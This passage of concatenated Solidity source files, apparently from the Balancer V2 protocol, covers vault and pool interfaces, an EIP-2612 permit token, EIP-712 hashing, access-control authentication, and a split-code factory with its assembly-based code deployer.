WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; /** * @dev Interface for WETH9. * See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; import "./IAuthorizer.sol"; interface IProtocolFeesCollector { event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external; function setSwapFeePercentage(uint256 newSwapFeePercentage) external; function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external; function getSwapFeePercentage() external view returns (uint256); function getFlashLoanFeePercentage() external view returns (uint256); function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts); function getAuthorizer() external view returns (IAuthorizer); function vault() external view returns (IVault); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; interface IPoolSwapStructs { // This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and // IMinimalSwapInfoPool. // // This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or // 'given out') which indicates whether or not the amount sent by the pool is known. // // The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take // in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`. // // All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in // some Pools. // // `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than // one Pool. // // The meaning of `lastChangeBlock` depends on the Pool specialization: // - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total // balance. // - General: the last block in which *any* of the Pool's registered tokens changed its total balance. // // `from` is the origin address for the funds the Pool receives, and `to` is the destination address // where the Pool sends the outgoing tokens. // // `userData` is extra data provided by the caller - typically a signature from a trusted party. struct SwapRequest { IVault.SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ERC20.sol"; import "./IERC20Permit.sol"; import "./EIP712.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner]; } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { // Silence state mutability warning without generating bytecode. // See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and // https://github.com/ethereum/solidity/issues/2691 this; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BaseSplitCodeFactory.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; /** * @dev Same as `BasePoolFactory`, for Pools whose creation code is so large that the factory cannot hold it. */ abstract contract BasePoolSplitCodeFactory is BaseSplitCodeFactory { IVault private immutable _vault; mapping(address => bool) private _isPoolFromFactory; event PoolCreated(address indexed pool); constructor(IVault vault, bytes memory creationCode) BaseSplitCodeFactory(creationCode) { _vault = vault; } /** * @dev Returns the Vault's address. */ function getVault() public view returns (IVault) { return _vault; } /** * @dev Returns true if `pool` was created by this factory. */ function isPoolFromFactory(address pool) external view returns (bool) { return _isPoolFromFactory[pool]; } function _create(bytes memory constructorArgs) internal override returns (address) { address pool = super._create(constructorArgs); _isPoolFromFactory[pool] = true; emit PoolCreated(pool); return pool; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Utility to create Pool factories for Pools that use the `TemporarilyPausable` contract. * * By calling `TemporarilyPausable`'s constructor with the result of `getPauseConfiguration`, all Pools created by this * factory will share the same Pause Window end time, after which both old and new Pools will not be pausable. */ contract FactoryWidePauseWindow { // This contract relies on timestamps in a similar way as `TemporarilyPausable` does - the same caveats apply. // solhint-disable not-rely-on-time uint256 private constant _INITIAL_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _BUFFER_PERIOD_DURATION = 30 days; // Time when the pause window for all created Pools expires, and the pause window duration of new Pools becomes // zero. uint256 private immutable _poolsPauseWindowEndTime; constructor() { _poolsPauseWindowEndTime = block.timestamp + _INITIAL_PAUSE_WINDOW_DURATION; } /** * @dev Returns the current `TemporarilyPausable` configuration that will be applied to Pools created by this * factory. * * `pauseWindowDuration` will decrease over time until it reaches zero, at which point both it and * `bufferPeriodDuration` will be zero forever, meaning deployed Pools will not be pausable. */ function getPauseConfiguration() public view returns (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { uint256 currentTime = block.timestamp; if (currentTime < _poolsPauseWindowEndTime) { // The buffer period is always the same since its duration is related to how much time is needed to respond // to a potential emergency. The Pause Window duration however decreases as the end time approaches. pauseWindowDuration = _poolsPauseWindowEndTime - currentTime; // No need for checked arithmetic. bufferPeriodDuration = _BUFFER_PERIOD_DURATION; } else { // After the end time, newly created Pools have no Pause Window, nor Buffer Period (since they are not // pausable in the first place). pauseWindowDuration = 0; bufferPeriodDuration = 0; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BalancerErrors.sol"; import "./CodeDeployer.sol"; /** * @dev Base factory for contracts whose creation code is so large that the factory cannot hold it. This happens when * the contract's creation code grows close to 24kB. * * Note that this factory cannot help with contracts that have a *runtime* (deployed) bytecode larger than 24kB. */ abstract contract BaseSplitCodeFactory { // The contract's creation code is stored as code in two separate addresses, and retrieved via `extcodecopy`. This // means this factory supports contracts with creation code of up to 48kB. // We rely on inline-assembly to achieve this, both to make the entire operation highly gas efficient, and because // `extcodecopy` is not available in Solidity. // solhint-disable no-inline-assembly address private immutable _creationCodeContractA; uint256 private immutable _creationCodeSizeA; address private immutable _creationCodeContractB; uint256 private immutable _creationCodeSizeB; /** * @dev The creation code of a contract Foo can be obtained inside Solidity with `type(Foo).creationCode`. */ constructor(bytes memory creationCode) { uint256 creationCodeSize = creationCode.length; // We are going to deploy two contracts: one with approximately the first half of `creationCode`'s contents // (A), and another with the remaining half (B). // We store the lengths in both immutable and stack variables, since immutable variables cannot be read during // construction. uint256 creationCodeSizeA = creationCodeSize / 2; _creationCodeSizeA = creationCodeSizeA; uint256 creationCodeSizeB = creationCodeSize - creationCodeSizeA; _creationCodeSizeB = creationCodeSizeB; // To deploy the contracts, we're going to use `CodeDeployer.deploy()`, which expects a memory array with // the code to deploy. Note that we cannot simply create arrays for A and B's code by copying or moving // `creationCode`'s contents as they are expected to be very large (> 24kB), so we must operate in-place. // Memory: [ code length ] [ A.data ] [ B.data ] // Creating A's array is simple: we simply replace `creationCode`'s length with A's length. We'll later restore // the original length. bytes memory creationCodeA; assembly { creationCodeA := creationCode mstore(creationCodeA, creationCodeSizeA) } // Memory: [ A.length ] [ A.data ] [ B.data ] // ^ creationCodeA _creationCodeContractA = CodeDeployer.deploy(creationCodeA); // Creating B's array is a bit more involved: since we cannot move B's contents, we are going to create a 'new' // memory array starting at A's last 32 bytes, which will be replaced with B's length. We'll back-up this last // byte to later restore it. bytes memory creationCodeB; bytes32 lastByteA; assembly { // `creationCode` points to the array's length, not data, so by adding A's length to it we arrive at A's // last 32 bytes. creationCodeB := add(creationCode, creationCodeSizeA) lastByteA := mload(creationCodeB) mstore(creationCodeB, creationCodeSizeB) } // Memory: [ A.length ] [ A.data[ : -1] ] [ B.length ][ B.data ] // ^ creationCodeA ^ creationCodeB _creationCodeContractB = CodeDeployer.deploy(creationCodeB); // We now restore the original contents of `creationCode` by writing back the original length and A's last byte. assembly { mstore(creationCodeA, creationCodeSize) mstore(creationCodeB, lastByteA) } } /** * @dev Returns the two addresses where the creation code of the contract crated by this factory is stored. */ function getCreationCodeContracts() public view returns (address contractA, address contractB) { return (_creationCodeContractA, _creationCodeContractB); } /** * @dev Returns the creation code of the contract this factory creates. */ function getCreationCode() public view returns (bytes memory) { return _getCreationCodeWithArgs(""); } /** * @dev Returns the creation code that will result in a contract being deployed with `constructorArgs`. */ function _getCreationCodeWithArgs(bytes memory constructorArgs) private view returns (bytes memory code) { // This function exists because `abi.encode()` cannot be instructed to place its result at a specific address. // We need for the ABI-encoded constructor arguments to be located immediately after the creation code, but // cannot rely on `abi.encodePacked()` to perform concatenation as that would involve copying the creation code, // which would be prohibitively expensive. // Instead, we compute the creation code in a pre-allocated array that is large enough to hold *both* the // creation code and the constructor arguments, and then copy the ABI-encoded arguments (which should not be // overly long) right after the end of the creation code. // Immutable variables cannot be used in assembly, so we store them in the stack first. address creationCodeContractA = _creationCodeContractA; uint256 creationCodeSizeA = _creationCodeSizeA; address creationCodeContractB = _creationCodeContractB; uint256 creationCodeSizeB = _creationCodeSizeB; uint256 creationCodeSize = creationCodeSizeA + creationCodeSizeB; uint256 constructorArgsSize = constructorArgs.length; uint256 codeSize = creationCodeSize + constructorArgsSize; assembly { // First, we allocate memory for `code` by retrieving the free memory pointer and then moving it ahead of // `code` by the size of the creation code plus constructor arguments, and 32 bytes for the array length. code := mload(0x40) mstore(0x40, add(code, add(codeSize, 32))) // We now store the length of the code plus constructor arguments. mstore(code, codeSize) // Next, we concatenate the creation code stored in A and B. let dataStart := add(code, 32) extcodecopy(creationCodeContractA, dataStart, 0, creationCodeSizeA) extcodecopy(creationCodeContractB, add(dataStart, creationCodeSizeA), 0, creationCodeSizeB) } // Finally, we copy the constructorArgs to the end of the array. Unfortunately there is no way to avoid this // copy, as it is not possible to tell Solidity where to store the result of `abi.encode()`. uint256 constructorArgsDataPtr; uint256 constructorArgsCodeDataPtr; assembly { constructorArgsDataPtr := add(constructorArgs, 32) constructorArgsCodeDataPtr := add(add(code, 32), creationCodeSize) } _memcpy(constructorArgsCodeDataPtr, constructorArgsDataPtr, constructorArgsSize); } /** * @dev Deploys a contract with constructor arguments. To create `constructorArgs`, call `abi.encode()` with the * contract's constructor arguments, in order. */ function _create(bytes memory constructorArgs) internal virtual returns (address) { bytes memory creationCode = _getCreationCodeWithArgs(constructorArgs); address destination; assembly { destination := create(0, add(creationCode, 32), mload(creationCode)) } if (destination == address(0)) { // Bubble up inner revert reason // solhint-disable-next-line no-inline-assembly assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } return destination; } // From // https://github.com/Arachnid/solidity-stringutils/blob/b9a6f6615cf18a87a823cbc461ce9e140a61c305/src/strings.sol function _memcpy( uint256 dest, uint256 src, uint256 len ) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint256 mask = 256**(32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; /** * @dev Library used to deploy contracts with specific code. This can be used for long-term storage of immutable data as * contract code, which can be retrieved via the `extcodecopy` opcode. */ library CodeDeployer { // During contract construction, the full code supplied exists as code, and can be accessed via `codesize` and // `codecopy`. This is not the contract's final code however: whatever the constructor returns is what will be // stored as its code. // // We use this mechanism to have a simple constructor that stores whatever is appended to it. The following opcode // sequence corresponds to the creation code of the following equivalent Solidity contract, plus padding to make the // full code 32 bytes long: // // contract CodeDeployer { // constructor() payable { // uint256 size; // assembly { // size := sub(codesize(), 32) // size of appended data, as constructor is 32 bytes long // codecopy(0, 32, size) // copy all appended data to memory at position 0 // return(0, size) // return appended data for it to be stored as code // } // } // } // // More specifically, it is composed of the following opcodes (plus padding): // // [1] PUSH1 0x20 // [2] CODESIZE // [3] SUB // [4] DUP1 // [6] PUSH1 0x20 // [8] PUSH1 0x00 // [9] CODECOPY // [11] PUSH1 0x00 // [12] RETURN // // The padding is just the 0xfe sequence (invalid opcode). It is important as it lets us work in-place, avoiding // memory allocation and copying. bytes32 private constant _DEPLOYER_CREATION_CODE = 0x602038038060206000396000f3fefefefefefefefefefefefefefefefefefefe; /** * @dev Deploys a contract with `code` as its code, returning the destination address. * * Reverts if deployment fails. */ function deploy(bytes memory code) internal returns (address destination) { bytes32 deployerCreationCode = _DEPLOYER_CREATION_CODE; // We need to concatenate the deployer creation code and `code` in memory, but want to avoid copying all of // `code` (which could be quite long) into a new memory location. Therefore, we operate in-place using // assembly. // solhint-disable-next-line no-inline-assembly assembly { let codeLength := mload(code) // `code` is composed of length and data. We've already stored its length in `codeLength`, so we simply // replace it with the deployer creation code (which is exactly 32 bytes long). mstore(code, deployerCreationCode) // At this point, `code` now points to the deployer creation code immediately followed by `code`'s data // contents. This is exactly what the deployer expects to receive when created. destination := create(0, code, add(codeLength, 32)) // Finally, we restore the original length in order to not mutate `code`. mstore(code, codeLength) } // The create opcode returns the zero address when contract creation fails, so we revert if this happens. _require(destination != address(0), Errors.CODE_DEPLOYMENT_FAILED); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Source: https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/interfaces/IButtonWrapper.sol // Interface definition for ButtonWrapper contract, which wraps an // underlying ERC20 token into a new ERC20 with different characteristics. // NOTE: "uAmount" => underlying token (wrapped) amount and // "amount" => wrapper token amount interface IButtonWrapper { //-------------------------------------------------------------------------- // ButtonWrapper write methods /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens. /// @param amount The amount of wrapper tokens to mint. /// @return The amount of underlying tokens deposited. function mint(uint256 amount) external returns (uint256); /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens to the specified beneficiary. /// @param to The beneficiary account. /// @param amount The amount of wrapper tokens to mint. /// @return The amount of underlying tokens deposited. function mintFor(address to, uint256 amount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param amount The amount of wrapper tokens to burn. /// @return The amount of underlying tokens withdrawn. function burn(uint256 amount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens to the specified beneficiary. /// @param to The beneficiary account. /// @param amount The amount of wrapper tokens to burn. /// @return The amount of underlying tokens withdrawn. function burnTo(address to, uint256 amount) external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @return The amount of underlying tokens withdrawn. function burnAll() external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param to The beneficiary account. /// @return The amount of underlying tokens withdrawn. function burnAllTo(address to) external returns (uint256); /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens to the specified beneficiary. /// @param uAmount The amount of underlying tokens to deposit. /// @return The amount of wrapper tokens mint. function deposit(uint256 uAmount) external returns (uint256); /// @notice Transfers underlying tokens from {msg.sender} to the contract and /// mints wrapper tokens to the specified beneficiary. /// @param to The beneficiary account. /// @param uAmount The amount of underlying tokens to deposit. /// @return The amount of wrapper tokens mint. function depositFor(address to, uint256 uAmount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param uAmount The amount of underlying tokens to withdraw. /// @return The amount of wrapper tokens burnt. function withdraw(uint256 uAmount) external returns (uint256); /// @notice Burns wrapper tokens from {msg.sender} and transfers /// the underlying tokens back to the specified beneficiary. /// @param to The beneficiary account. /// @param uAmount The amount of underlying tokens to withdraw. /// @return The amount of wrapper tokens burnt. function withdrawTo(address to, uint256 uAmount) external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @return The amount of wrapper tokens burnt. function withdrawAll() external returns (uint256); /// @notice Burns all wrapper tokens from {msg.sender} and transfers /// the underlying tokens back. /// @param to The beneficiary account. /// @return The amount of wrapper tokens burnt. function withdrawAllTo(address to) external returns (uint256); //-------------------------------------------------------------------------- // ButtonWrapper view methods /// @return The address of the underlying token. function underlying() external view returns (address); /// @return The total underlying tokens held by the wrapper contract. function totalUnderlying() external view returns (uint256); /// @param who The account address. /// @return The underlying token balance of the account. function balanceOfUnderlying(address who) external view returns (uint256); /// @param uAmount The amount of underlying tokens. /// @return The amount of wrapper tokens exchangeable. function underlyingToWrapper(uint256 uAmount) external view returns (uint256); /// @param amount The amount of wrapper tokens. /// @return The amount of underlying tokens exchangeable. function wrapperToUnderlying(uint256 amount) external view returns (uint256); } // SPDX-License-Identifier: 